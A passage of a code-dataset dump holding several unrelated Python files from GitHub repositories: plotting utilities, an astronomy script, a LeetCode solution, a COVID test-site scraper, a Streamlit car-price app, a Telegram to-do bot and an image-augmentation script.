socket.SOCK_STREAM)\n\ntry:\n # Tenta se conectar ao servidor\n s.connect((socket.gethostname(), 9999))\n msg = ' '\n for i in range(10):\n # Envia mensagem vazia apenas para indicar a requisição\n s.send(msg.encode('ascii'))\n bytes = s.recv(1024)\n # Converte os bytes para lista\n dicionario = pickle.loads(bytes)\n imprime(dicionario)\n time.sleep(2)\n msg = 'fim'\n s.send(msg.encode('ascii'))\nexcept Exception as erro:\n print(str(erro))\n\n# Fecha o socket\ns.close()\n\ninput(\"Pressione qualquer tecla para sair...\")","repo_name":"joselsantospqt/Python","sub_path":"Projeto_de_Bloco_Python/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2584013589","text":"# -*- coding: utf-8 -*-\n\"\"\"# Visualization\n\nThis module contains functions that produce plots and visualizations\nneeded for logging, data exploration and the final dashboards.\n\"\"\"\n\nimport itertools\nfrom typing import List, Optional, Tuple, Union\n\nimport einops\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nfrom loguru import logger as log\nfrom matplotlib.colors import Colormap\nfrom torch.utils.data import Dataset\nfrom tqdm import tqdm\n\n\ndef plot_confusion_matrix(\n cm: Union[np.array, torch.tensor],\n classes: Optional[List[str]] = None,\n normalize: bool = False,\n title: str = \"Confusion Matrix\",\n cmap: Union[str, Colormap] = plt.cm.Blues,\n) -> plt.Figure:\n \"\"\"Create a matplotlib confusion matrix plot from a np.array or torch.tensor.\n\n Args:\n cm (np.array | torch.tensor): Raw Confusion Matrix as np.array or torch.tensor.\n classes (Optional[List[str]], optional): If defined replace class indices on axes with class labels. Defaults to None.\n normalize (bool, optional): If True, Normalize the count of each class to 1 to see percentages instead of absolute counts. Defaults to False.\n title (str, optional): Figure Title. Defaults to \"Confusion Matrix\".\n cmap ([str | plt.Colormap, optional): Matplotlib colormap. Defaults to plt.cm.Blues.\n\n Returns:\n plt.Figure: [description]\n \"\"\"\n if isinstance(cm, torch.Tensor):\n cm = cm.cpu().numpy()\n if normalize:\n cm = cm.astype(\"float\") / cm.sum(axis=1)[:, np.newaxis]\n\n fig = plt.figure()\n plt.imshow(cm, interpolation=\"nearest\", cmap=cmap)\n plt.title(title)\n plt.colorbar()\n\n if classes:\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = \".2f\" if normalize else \".0f\" # \"d\" for integers\n thresh = cm.max() / 2.0\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(\n j,\n i,\n format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\",\n )\n\n plt.tight_layout()\n plt.ylabel(\"True label\")\n plt.xlabel(\"Predicted label\")\n\n return fig\n\n\ndef visualize_samples_from_dataset(\n dataset: Dataset,\n rows: int = 5,\n undo_normalization: Optional[Tuple[List[float], List[float]]] = (\n [0.3211, 0.2243, 0.1602],\n [0.2617, 0.1825, 0.1308],\n ),\n) -> plt.Figure:\n \"\"\"Visualize a grid of samples without titles/labels in a single plot.\n\n Args:\n dataset (torch.utils.data.Dataset): Dataset to visualize samples from.\n rows (int, optional): How many samples will be in one row. Total number of samples will be rows^2. Defaults to 5.\n\n Returns:\n plt.Figure: matplotlib figure\n \"\"\"\n log.info(\"logging samples from dataset\")\n\n fig = plt.figure(figsize=(rows * 2, rows * 2))\n\n for idx in tqdm(range(rows * rows)):\n plt.subplot(rows, rows, idx + 1)\n img = dataset[np.random.randint(0, len(dataset))][0]\n\n if undo_normalization:\n means, stds = undo_normalization\n means = torch.tensor(means).reshape(3, 1, 1)\n stds = torch.tensor(stds).reshape(3, 1, 1)\n img = torch.clamp(img * stds + means, 0.0, 1.0)\n\n plt.imshow(einops.rearrange(img.squeeze().numpy(), \"c w h -> w h c\"))\n plt.axis(\"off\")\n plt.tight_layout(pad=0.0)\n\n return fig\n\n\ndef visualize_signal_propagation(\n name_values: list, title: str, *args, **kwargs\n) -> plt.Figure:\n \"\"\"Visualize Signal Propagation Plot using matplolib and\n the utilities from the timm package.\n See: https://github.com/mehdidc/signal_propagation_plot/blob/main/signal_propagation_plot/pytorch.py\n\n Args:\n name_values (torch.nn.Module): pytorch model\n input_shape (List[int], optional): Input Size of the model.\n\n Returns:\n plt.Figure: matplotlib figure\n \"\"\"\n labels = [\".\".join(name.split(\".\")[-3:]) for name, _ in name_values]\n values = [value for _, value in name_values]\n depth = np.arange(len(labels))\n\n fig, ax = plt.subplots(figsize=(12, 6))\n\n plt.plot(depth, values, *args, **kwargs)\n plt.xticks(depth, labels, rotation_mode=\"anchor\")\n plt.grid()\n plt.title(title)\n plt.setp(\n ax.get_xticklabels(),\n rotation=45,\n horizontalalignment=\"right\",\n fontsize=6,\n )\n\n return fig\n","repo_name":"LaurenzBeck/ophthalmology","sub_path":"ophthalmology/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"32914914904","text":"import numpy as np\nimport pandas as pd\nfrom astropy.table import Table\nimport matplotlib.pyplot as plt\nimport logging\n\n# logging.basicConfig(filename='logs.log',\n# encoding='utf-8',\n# format='%(levelname)s (%(asctime)s): %(message)s (Line: %(lineno)d [%(filename)s])',\n# datefmt='%d/%m/%Y %I:%M:%S %p',\n# level=logging.INFO)\n#\n# df = pd.read_csv(\"clusterMembers/M79_memberStars_6.dat\", delimiter=\"\\t\", skiprows=2)\n#\n# df1 = pd.read_csv(\"nonMembers/M79_nonMembers.dat\", delimiter=\"\\t\", skiprows=2)\n#\n# starNums= df.iloc[:,0]\n#\n# starNums1 = df1.iloc[:,0]\n#\n# #print(starNums[0])\n#\n# lst = np.array([3524,3473,3491,3487,3353,2600,2363,1995, 816])\n#\n# # print(lst)\n#\n# starNums = np.array([starNums])\n#\n# starNums1 = np.array([starNums1])\n#\n# # print(starNums)\n#\n# a = np.intersect1d(starNums, lst)\n#\n# c = np.setdiff1d(lst, starNums)\n#\n# # print(a)\n# # print(c)\n#\n# b = np.intersect1d(starNums1, lst)\n#\n# # print(b)\n#\n# clusterName = \"M14\"\n# clusterNameFile = (\"{}.phot\".format(clusterName))\n#\n# dat = Table.read(clusterNameFile, format=\"ascii\")\n#\n# u = dat['col10']\n# b = dat['col4']\n# v = dat['col8']\n# i = dat['col6']\n# chi = dat['col12']\n# sharp = dat['col13']\n#\n# ind = np.where(dat['col1'] == 320)[0]\n# cond = np.logical_or.reduce((b>60,v>60, chi>3, abs(sharp)>0.5))\n# #cond = np.logical_and.reduce((b<60,v<60))\n# ind = np.where(cond)[0]\n#\n# # print(dat[ind])\n#\n# dat1 = dat[ind]\n#\n# #[5212 6215 6395 6458 6908]\n#\n# moo = np.where(dat1['col1'] == 6908)[0]\n# print(moo)\n\n# df2 = Table.read(\"nonMembers/M14_nonMembers_testing123.dat\", format=\"ascii\", delimiter=\"\\s\")\ndf3 = Table.read(\"clusterMembers/M9_memberStars_5Sigma.dat\", format=\"ascii\", delimiter=\"\\s\")\n\n\n\nvRaw = df3['col14']\nB = df3['col13']\nbvRaw = B-vRaw\nuRaw = df3['col12']\nv = df3['col11']\nb = df3['col10']\nu = df3['col9']\n# i = df2['col11']\nbv = b-v\n# vi = v-i\n\narr = [1226, 1459]\nprint(df3[arr])\n\n\n# print(df2)\n\n# if (vi[1543] > 0.331+1.444*bv[1543]):\n# print(0)\n# logging.error('Run unsuccessful')\n# else:\n# print(1)\n# logging.info('Run successful')\n\nlst1 = [10001,9243,8956,8812,8119,7645,7386,7075,6897,6908,6682,6458,6395,6215,5262,5212,5096,4987,4562,3006,1320]\n\n# print(df2['col1'])\n\n# for j in range(len(lst1)):\n# print(lst1[j])\n# print(np.where(df2['col1'] == lst1[j])[0])\n# print(np.where(df3['col1'] == lst1[j])[0])\n# print(\"================================\")\n\n# print(np.intersect1d(lst1, df2['col1']))\n\n#\n# vRaw1 = df3['col14']\n# B1 = df3['col13']\n# bvRaw1 = B1-vRaw1\n#\n# v1 = df3['col11']\n# b1 = df3['col10']\n# bv1 = b1-v1\n\ndef model_f(x,a,b,c,d,e,f,g,k):\n x=x+k\n return a*x**6+b*x**5+c*x**4+d*x**3+e*x**2+f*x+g\n\n\n# arr = [301, 323, 363]\narr = [1226, 1459]\n\nfig, ax = plt.subplots()\nax.scatter(bvRaw, vRaw, c='k', s=0.1)\n# ax.scatter(bvhb,vhb,c='b',s=2)\nax.scatter(bvRaw[arr], vRaw[arr], c='orangered', s=5, marker=\"o\")\n# xplot = np.linspace(bv1.min(), bv1.max(), len(bv1))\n# -3.74, 7.03, 6.83, -19.86, 8.98, -1.51, 0.35, -0.15\n# y = model_f(xplot, -3.74, 7.03, 6.83, -19.86, 8.98, -1.51, 0.35,-0.15)\n# ax.plot(bv1, y, color=\"red\", linestyle=\"--\")\n# ax.set_title(\"{} $E(B-V)$={:.2f} $m-M$={:.2f}\".format(clusterName, ebv, distModulus))\nax.set_xlim(-0.75, 1.6)\nax.set_ylim(22,12)\nax.set_xlabel('$B-V$')\nax.set_ylabel('$V$')\nplt.show()\n\n","repo_name":"akshat-chaturvedi/clusterFunc","sub_path":"commonChecker.py","file_name":"commonChecker.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16147875907","text":"#\n# @lc app=leetcode id=355 lang=python3\n#\n# [355] Design Twitter\n#\nimport collections\nimport heapq\n# @lc code=start\nclass Twitter:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.user_and_posts = collections.defaultdict(list)\n self.user_and_followers = collections.defaultdict(set)\n self.no = 0\n self.recent = 10\n\n def postTweet(self, userId, tweetId):\n \"\"\"\n Compose a new tweet.\n \"\"\"\n self.user_and_posts[userId].append([-self.no, tweetId])\n self.no += 1\n \n def getNewsFeed(self, userId: int):\n \"\"\"\n Retrieve the 10 most recent tweet ids in the user's news feed. Each item in the news feed must be posted by users who the user followed or by the user herself. Tweets must be ordered from most recent to least recent.\n \"\"\"\n heap = []\n for following in self.user_and_followers[userId]:\n for i in range(len(self.user_and_posts[following]) - 1, max(-1, len(self.user_and_posts[following]) - self.recent - 1), -1):\n heapq.heappush(heap, self.user_and_posts[following][i])\n for i in range(len(self.user_and_posts[userId]) - 1, max(-1, len(self.user_and_posts[userId]) - self.recent - 1), -1):\n heapq.heappush(heap, self.user_and_posts[userId][i])\n ans = []\n c = 0\n while heap and c < self.recent:\n ans.append(heapq.heappop(heap)[1])\n c += 1\n return ans\n\n def follow(self, followerId: int, followeeId: int):\n \"\"\"\n Follower follows a followee. If the operation is invalid, it should be a no-op.\n \"\"\"\n if followerId != followeeId:\n self.user_and_followers[followerId].add(followeeId)\n \n def unfollow(self, followerId: int, followeeId: int):\n \"\"\"\n Follower unfollows a followee. If the operation is invalid, it should be a no-op.\n \"\"\"\n if self.user_and_followers[followerId] and followeeId in self.user_and_followers[followerId]:\n self.user_and_followers[followerId].remove(followeeId)\n\n\n# Your Twitter object will be instantiated and called as such:\n# obj = Twitter()\n# obj.postTweet(1,5)\n# param_2 = obj.getNewsFeed(1)\n# obj.follow(1,2)\n# obj.postTweet(2,6)\n# param_2 = obj.getNewsFeed(1)\n# print(param_2)\n# obj.unfollow(followerId,followeeId)\n# @lc code=end\n\n","repo_name":"610yilingliu/leetcode","sub_path":"Python3/355.design-twitter.py","file_name":"355.design-twitter.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"4824931448","text":"import json\nimport re\nfrom typing import NoReturn\n\nfrom bs4 import BeautifulSoup\n\nfrom back.services.core.parsers.response_handler import send_request\nfrom back.services.core.parsers.database_handler import TestPlacePusher\nfrom back.services.core.settings import DB_HOST, DB_LOGIN, DB_DATABASE, DB_PASSWORD\n\nPRICE_PCR = '1980'\nANTIBODIES_TEST_PRICE = '850'\nTIME_TILL_RES_DAYS = '3 дня'\n\ndef get_cites() -> dict:\n response = send_request(url=f'https://citilab.ru/local/components/reaspekt/reaspekt.geoip/'\n f'templates/my01/ajax_popup_city.php', payload={}, return_json=False)\n city_names = re.findall(r'(?<=title=\\\").*?(?=\\\")', response.text)\n city_codes = re.findall(r'(?<=data-code=\").*?(?=\\\")', response.text)\n cites = dict(zip(city_codes, city_names))\n return cites\n\n\ndef parse_citilab() -> NoReturn:\n db_pusher = TestPlacePusher(DB_HOST, DB_LOGIN, DB_PASSWORD, DB_DATABASE)\n db_pusher.get_or_add_med_org('Citilab')\n cites = get_cites()\n for code, city in cites.items():\n db_pusher.get_or_add_city(city)\n\n response = send_request(url=f'https://citilab.ru/{code}/medcentres/', payload={}, return_json=False)\n soup = BeautifulSoup(response.text, 'html.parser')\n\n try:\n data = soup.find_all('script')[42].string\n except IndexError:\n data = soup.find_all('script')[40].string\n\n json_data_raw = re.findall('(?<=var jsonData = ).*$', data)[0][:-1].replace('\\'', '\"')\n json_data = json.loads(json_data_raw)\n\n for place in json_data.get('mark'):\n if place['covid'] != '1':\n continue\n address = place['adr']\n coord = {'lat': place['lat'], 'lon': place['lng']}\n url = f'https://citilab.ru{place[\"url\"]}'\n db_pusher.add_test_place(city=city, med_org='Citilab', address=address, position=coord, url=url,\n pcr_test_price=PRICE_PCR,\n antibodies_test_price=ANTIBODIES_TEST_PRICE,\n time_of_completion=TIME_TILL_RES_DAYS)\n print(f\"Город : {city}\\n\"\n f\"Корона : {place['covid']}\\n\"\n f\"Адрес: {place['adr']}\\n\"\n f\"Координаты: {place['lat']} : {place['lng']}\\n\"\n f\"Цена: {PRICE_PCR}\\n\"\n f\"Срок готовности результатов: {TIME_TILL_RES_DAYS}\")\n print('--------')\n\n\nif __name__ == '__main__':\n parse_citilab()\n","repo_name":"techglove/sberhack","sub_path":"back/services/core/parsers/citilab.py","file_name":"citilab.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"5296135971","text":"\"\"\"Streamlit App\n\nThis script allows the user to make predictions on sales prices for cars on CarsAndBids.\n\n\"\"\"\nfrom datetime import date\nimport pickle\nimport requests as rq\nimport plotly.express as px\nimport streamlit as st\nimport pandas as pd\nimport yfinance as yf\nfrom sqlalchemy import create_engine, text\nimport os\nimport boto3\nfrom streamlit_option_menu import option_menu\nimport altair as alt\nimport time\n\nsession = boto3.Session(\n aws_access_key_id = os.environ[\"ACCESS_KEY\"],\n aws_secret_access_key=os.environ[\"ACCESS_SECRET\"],\n region_name = os.environ[\"REGION\"])\n\n\n\n@st.cache_data(ttl=259200, max_entries=None)\ndef get_vin_info(vin, api_key = 'VA_DEMO_KEY', num_days = 90, mileage = 'average'):\n \"\"\"pulls data from vinaudit api \"\"\"\n vinaudit_url = f'https://marketvalue.vinaudit.com/getmarketvalue.php?key={api_key}&vin={vin}&format=json&period={num_days}&mileage={mileage}'\n req = rq.get(url = vinaudit_url)\n data = req.json()\n return data\n\n\n@st.cache_data(ttl=259200, max_entries=None)\ndef fetch_market_data():\n sp500 = yf.download(\"^GSPC\", start= '2023-2-1', end=str(date.today())) \n sp500 = pd.DataFrame(sp500)\n sp500 = sp500[\"Adj Close\"].iloc[0]\n return sp500\n\n# name = 'thismod'\ns3 = session.resource('s3')\nmodel_list = []\nfor i in s3.Bucket('carsalesmodel').objects.all():\n model_list.append(i.key)\n \nDATA_URI = os.environ[\"DATA_URI\"]\nengine = create_engine(DATA_URI)\n\nSERVER_URI = os.environ[\"SERVER_URI\"]\n\nMODEL_SQL_QUERY = 'SELECT DISTINCT \"model\" FROM \"cars_bids_listings\";'\nMAKE_SQL_QUERY = 'SELECT DISTINCT \"make\" FROM \"cars_bids_listings\";'\nENGINE_SQL_QUERY = 'SELECT DISTINCT \"engine\" FROM \"cars_bids_listings\";'\nTITLE_STATUS_SQL_QUERY = 'SELECT DISTINCT \"status\" FROM \"cars_bids_listings\";'\nDRIVE_TRAIN_SQL_QUERY = 'SELECT DISTINCT \"drivetrain\" FROM \"cars_bids_listings\";'\nTRANSMISSION_SQL_QUERY = 'SELECT DISTINCT \"transmission\" FROM \"cars_bids_listings\";'\nBODYSTYLE_SQL_QUERY = 'SELECT DISTINCT \"bodystyle\" FROM \"cars_bids_listings\";'\nSOLDTYPE_SQL_QUERY = 'SELECT DISTINCT \"soldtype\" FROM \"cars_bids_listings\";'\nYNRESERVE_SQL_QUERY = 'SELECT DISTINCT \"y_n_reserve\" FROM \"cars_bids_listings\";'\nVIN_SQL_QUERY = 'SELECT \"vin\" FROM \"cars_bids_listings\" LIMIT 1;'\n\nwith engine.connect() as connection:\n make_df = pd.read_sql_query(text(MAKE_SQL_QUERY), con = connection)\n model_df = pd.read_sql_query(text(MODEL_SQL_QUERY), con = connection)\n engine_df = pd.read_sql_query(text(ENGINE_SQL_QUERY), con = connection)\n title_status_df = pd.read_sql_query(TITLE_STATUS_SQL_QUERY, con = connection)\n drive_train_df = pd.read_sql_query(DRIVE_TRAIN_SQL_QUERY, con = connection)\n transmission_df = pd.read_sql_query(TRANSMISSION_SQL_QUERY, con = connection)\n bodyStyle_df = pd.read_sql_query(BODYSTYLE_SQL_QUERY, con=connection)\n soldType_df = pd.read_sql_query(SOLDTYPE_SQL_QUERY, con = connection)\n reserve_df = pd.read_sql_query(YNRESERVE_SQL_QUERY, con = connection)\n\nmake_df.sort_values(by='make', inplace=True)\nmodel_df.sort_values(by='model', inplace=True)\nengine_df.sort_values(by='engine', inplace=True)\ntitle_status_df.sort_values(by='status', inplace=True)\ndrive_train_df.sort_values(by='drivetrain', inplace=True)\ntransmission_df.sort_values(by='transmission', inplace=True)\nbodyStyle_df.sort_values(by='bodystyle', inplace=True)\nsoldType_df.sort_values(by='soldtype', inplace=True)\nreserve_df.sort_values(by='y_n_reserve', inplace=True)\n\nst.set_page_config(layout=\"wide\", page_title=\"Car Sale Value\")\nheadercol1, headercol2 = st.columns(2)\nwith st.container():\n with headercol1:\n st.markdown(\"

How Much is Your Collector Car Worth?

\", unsafe_allow_html=True)\n st.subheader('Use our API and predict a sale price for your vehicle!')\n with headercol2:\n st.image('https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTe1SBdlXWtJ96-zcUnN05YMaumzpJ-q2ei-A&usqp=CAU', width=500)\nselected_navbar = option_menu(None, [\"Predict\", \"FAQ\", \"API\"], orientation=\"horizontal\")\n\n \ndataset = st.container()\nmodel = st.container()\nyears = range(1980, 2023)\nchart = st.container()\n\n \nif selected_navbar == \"FAQ\":\n with st.container():\n with st.expander(\"What is Cars and Bids?\"):\n st.write('Cars and Bids is an online enthusiast car sales platform created by the automotive Youtuber Doug DeMuro. Most listings on the platform are sold in auction format.')\n with st.expander(\"What model is being used to predict sale price?\"):\n st.write('We are using a Gradient Boosted Regression Tree to predict sale price')\n with st.expander(\"How was the data collected?\"):\n st.write('All of the past listings from CarsAndBids.com were collected using webscraping via selenium. We collected estimated market price for each vehicle from VinAudit.com as well as overall market conditions at the time of sale via Yahoo Finance')\n with st.expander(\"How accurate are the predictions?\"):\n st.write('On our best model, we obtain an accuracy of about 75% (MSE .75)')\n with st.expander(\"Can I use this site commercially?\"):\n st.write('This site is not intended to be used commercially and should not be used commercially')\n with st.expander(\"Is the car price prediction sound financial advice?\"):\n st.write('No. This is a purely academic exercise; use the model output at your own discretion')\n\nif selected_navbar == \"Predict\":\n with st.container():\n st.text('CarsAndBids.com is a new auction website for collector cars from the 80s until now. With a rich history of auctions, we wanted to learn if we could predict\\nwhich cars would be good deals on the site by using features of the vehicle like Make, Model, Year, Engine (etc.) as well as car market data on the vehicle\\nand general market data, we fit a gradient boosted decision tree to predict the selling price of the car. To determine whether its a good deal, we compare the\\npredicted sale price against the market average for similar vehicles. Car market data comes from the VinAudit API\\n')\n form = st.form(key='uinput')\n with form:\n form_columns = st.columns(4)\n text_arr = [['Make', 'Model', 'Year'], ['Engine', 'Title', 'Drive'], ['Body Style', 'Reserve', 'Transmission'], ['Vin', 'Mileage']]\n options_arr = [[make_df, model_df, years], [engine_df, title_status_df, drive_train_df], [bodyStyle_df, reserve_df, transmission_df]]\n first_make = make_df.iloc[0][\"make\"]\n columns = []\n for i, col in enumerate(form_columns):\n if i < 3:\n for j in range(len(text_arr[i])):\n newcol = col.selectbox(text_arr[i][j], options_arr[i][j], key=(i*3)+j, index=0)\n columns.append(newcol)\n else:\n for j in range(len(text_arr[i])):\n newcol = col.text_input(text_arr[i][j], key=(i*3)+j)\n columns.append(newcol)\n newcol = col.selectbox('ML Model', model_list, key=(i*3)+j+1, index=0)\n columns.append(newcol)\n\n \n sp500 = fetch_market_data()\n \n m = st.markdown(\"\"\"\n \"\"\", unsafe_allow_html=True)\n \n \n \n button = st.form_submit_button(label=\"Submit\", use_container_width=True)\n \n if button:\n try:\n req = get_vin_info(columns[9])\n with st.spinner('Running Prediction...'):\n time.sleep(5)\n newres= rq.post(SERVER_URI, json={\"rows\": [{ \"make\": columns[0],\n \"model\": columns[1],\n \"mileage\": columns[10],\n \"status\": columns[4], \n \"engine\":columns[3],\n \"drivetrain\": columns[5],\n \"transmission\" :columns[8],\n \"bodystyle\": columns[6],\n \"y_n_reserve\":columns[7],\n \"year\":columns[2],\n 'market_value_mean': req[\"mean\"], \n 'market_value_std':req['stdev'], \n 'count_over_days':str(float(req['count']) / 90), \n 'Adj Close':sp500,\n 'tree_model': columns[11]}]}) \n response = newres.json()\n newres = response[0][0]\n shaps = pd.DataFrame(pd.Series(response[1]))\n shaps = pd.melt(shaps.reset_index(), id_vars=[\"index\"])\n st.subheader('Dollar Contribution of Each Feature to the Predicted Sale Price')\n chart = (\n alt.Chart(shaps)\n .mark_bar()\n .encode(\n x=alt.X(\"value\", type=\"quantitative\", title=\"Dollars\"),\n y=alt.Y(\"index\", type=\"nominal\", title=\"Features\"),\n color=alt.Color(\"variable\", type=\"nominal\", title=\"\", legend=None),\n order=alt.Order(\"variable\", sort=\"descending\")))\n st.altair_chart(chart, use_container_width=True)\n st.markdown(f\"# Predicted Price on CarsAndBids.com: **${round(newres)}**\")\n except:\n st.write('Unable to gather information from VIN. Please try a different vehicle')\n\napi_column1, api_column2, api_column3 = st.columns(3) \nif selected_navbar == \"API\":\n st.subheader(\"Our API is free to use and available via a POST request to http://collectorcarpricing.com:8080/predict\")\n st.write('The post request must include the following parameters:')\n api_data = { \"Name\": ['make', 'model', 'mileage', 'status', 'engine', 'bodystyle', 'y_n_reserve','year', 'drivetrain', 'transmission', 'vin'],\n \"Required\": ['yes', 'yes', 'yes', 'yes', 'yes', 'yes', 'yes','yes', 'yes', 'yes', 'yes'],\n \"Data Type\": ['string', 'string', 'float', 'string', 'string', 'string', 'string','int', 'string', 'string', 'string'],\n \"Accepted Values\": [\"Any brand of auto manufacturer. If the brand doesnt exist in the training data make will not contribute to the prediction\",\n \"Any model from an auto manufacturer. If the model doesnt exist in the training data it will use the average price for the chosen make\",\n \"Any positive number (without commas)\",\n \"Clean, Salvage, Other\",\n \"One of the following: (P9, P8, V1, I6, Electric, I2, H6, I3, I5, Flat-2, I4, Flat-4, R6, H4, V6, W8, V2, Flat-6, V8). If not in this list the model will use the average price for the chosen make\",\n \"One of the following: (SUV/Crossover, Hatchback, Convertible, Van/Minivan, Sedan, Wagon, Truck, Coupe)\",\n \"One of the following: (Reserve, No Reserve)\",\n \"Any year from 1980 - present\",\n \"One of the following: (Rear-wheel drive, 4WD/AWD, Front-wheel drive)\",\n \"One of the following: (Manual, Automatic)\",\n \"Any valid VIN number\"]}\n st.table(pd.DataFrame(api_data))\n st.subheader('Ex:')\n st.text('''curl -d '{\"rows\": [{\"make\": \"Porsche\",\"model\": \"Cayenne\",\"mileage\": \"167500.0\",\"status\": \"Clean\" , \"engine\":\"3.6L V6\",\"drivetrain\": \"4WD/AWD\",\"transmission\" :\"Manual (6-Speed)\",\"bodystyle\":\" SUV/Crossover\", \"y_n_reserve\":\" No Reserve\",\"year\":\"2012.0\", \"vin\": \"5YJSA1DP4CFF00027\"}]}' -X POST http://collectorcarpricing.com:8080/predict''')\n \n\nst.write(\"Developed by Adam Lang and David Kim [Github Repo]('https://github.com/CodeSmithDSMLProjects/CarSalesModel')\")\nst.write(\"Contact us at adamglang96@gmail.com and koyykdy@gmail.com\")\n","repo_name":"CodeSmithDSMLProjects/CarSalesModel","sub_path":"public/stream_lit.py","file_name":"stream_lit.py","file_ext":"py","file_size_in_byte":12710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3251391737","text":"import telegram\n\nfrom dbdriver import DBDriver\n\ndatabase = DBDriver()\ndatabase.setup()\n\nclass ToDoBot:\n\n class UserData:\n def __init__(self, text, chat_id, items):\n self.text = text\n self.chat_id = chat_id\n self.items = items\n\n def __init__(self, todo_queue):\n \"\"\" The data in queue contains tuples with the text of the message received from\n the user and user's chat id in (text, chat_id) format \"\"\"\n self.queue = todo_queue\n self.calls = {\n '/list': self.call_list,\n '/done': self.call_delete_keyboard,\n '/start': self.call_start,\n '/clear': self.call_clear\n }\n\n def run(self):\n while not self.queue.empty():\n text, chat_id = self.queue.get()\n items = database.get_items(chat_id)\n userdata = self.UserData(text, chat_id, items)\n\n if userdata.text in self.calls:\n self.calls[userdata.text](userdata)\n\n elif userdata.text.startswith('/'):\n continue\n\n elif userdata.text in userdata.items:\n self.delete_item(userdata)\n\n else:\n database.add_item(userdata)\n\n\n def call_start(self, userdata):\n telegram.send_message(\"Welcome to your personal To Do list. Send any text to me and I'll store it as an\"\n \" item. Send /done to remove items\", userdata.chat_id)\n\n def call_list(self, userdata):\n if userdata.items:\n text_of_items = '\\n'.join(userdata.items)\n telegram.send_message(text_of_items, userdata.chat_id)\n else:\n telegram.send_message('The list is empty, type anything you want to add', userdata.chat_id)\n\n def call_clear(self, userdata):\n if userdata.items:\n database.clear_items(userdata)\n telegram.send_message('The list has been cleared', userdata.chat_id)\n else:\n telegram.send_message('The list is empty', userdata.chat_id)\n\n def call_delete_keyboard(self, userdata):\n if userdata.items:\n keyboard = telegram.build_keyboard(userdata.items)\n telegram.send_message('Select an item to delete', userdata.chat_id, keyboard)\n else:\n telegram.send_message('The list is empty', userdata.chat_id)\n\n def delete_item(self, userdata):\n database.delete_item(userdata)\n userdata.items.remove(userdata.text)\n self.call_delete_keyboard(userdata)\n\n","repo_name":"tonybruhh/ToDoBot","sub_path":"todobot.py","file_name":"todobot.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6183160869","text":"import cv2\r\nimport glob\r\nimport numpy as np\r\nimport pickle\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Activation, Dense, Conv2D , Flatten, MaxPool2D, BatchNormalization, Dropout, GlobalMaxPool2D\r\nfrom tensorflow.keras.optimizers import Adam, RMSprop\r\nfrom sklearn.metrics import precision_recall_fscore_support, accuracy_score\r\nfrom sklearn.utils import shuffle\r\n\r\n\r\n#Data Augmentation\r\nfromPath = '../test/'\r\naugPath = '../aug_test/'\r\nclassName = {0:'Aavad',1:'Chikoo',2:'Jamun',3:'Raat_Rani',4:'Umbaro'}\r\n\r\n\r\ndatagen = ImageDataGenerator(\r\n rotation_range=40,\r\n width_shift_range=0.2,\r\n height_shift_range=0.2,\r\n rescale=1./255,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True,\r\n fill_mode='nearest'\r\n)\r\n\r\nfor key,values in className.items() :\r\n for image in glob.glob(fromPath + values + '/*.jpg'):\r\n img = cv2.imread(image)\r\n # cv2.imshow('image',g)\r\n da_img = img.reshape(1,img.shape[0], img.shape[1], 3)\r\n print('new img shape: ',da_img.shape)\r\n i=0\r\n for batch in datagen.flow(da_img,save_to_dir=augPath + values,save_format='jpg'):\r\n i += 1\r\n if i>20:\r\n break\r\n\r\n#Saving Image Matrix into pickles\r\nli = []\r\nlabels =[]\r\nfor key,values in className.items() :\r\n for img in glob.glob(augPath + values + '/*.jpg'):\r\n g = cv2.imread(img)\r\n print(g.shape)\r\n # cv2.imshow('image',g)\r\n g = cv2.resize(g,(224,224))\r\n g = g.reshape(g.shape[0], g.shape[1], 3)\r\n print('g: ',g.shape)\r\n li.append(g)\r\n labels.append(key)\r\n\r\n\r\nfeatures = 'test'+\".pkl\"\r\nclass_labels = 'TestClassLabels'+\".pkl\"\r\n\r\nli = np.array(li)\r\nlabels = np.array(labels)\r\n\r\nfo = open(features, \"wb\")\r\npickle.dump(li, fo)\r\nfo.close()\r\n\r\nfo = open(class_labels, \"wb\")\r\npickle.dump(labels, fo)\r\nfo.close()\r\n\r\nprint(labels)\r\nprint(li.shape)\r\n'''\r\n\r\n\r\n\r\ngpus = tf.config.list_physical_devices('GPU')\r\nif gpus:\r\n # Restrict TensorFlow to only allocate 1GB of memory on the first GPU\r\n try:\r\n tf.config.set_logical_device_configuration(gpus[0],[tf.config.LogicalDeviceConfiguration(memory_limit=4500)])\r\n logical_gpus = tf.config.list_logical_devices('GPU')\r\n print(len(gpus), \"Physical GPUs,\", len(logical_gpus), \"Logical GPUs\")\r\n except RuntimeError as e:\r\n # Virtual devices must be set before GPUs have been initialized\r\n print(e)\r\n\r\n#Loading pickle files\r\nfp = open('train.pkl', \"rb\")\r\ntrain_features = 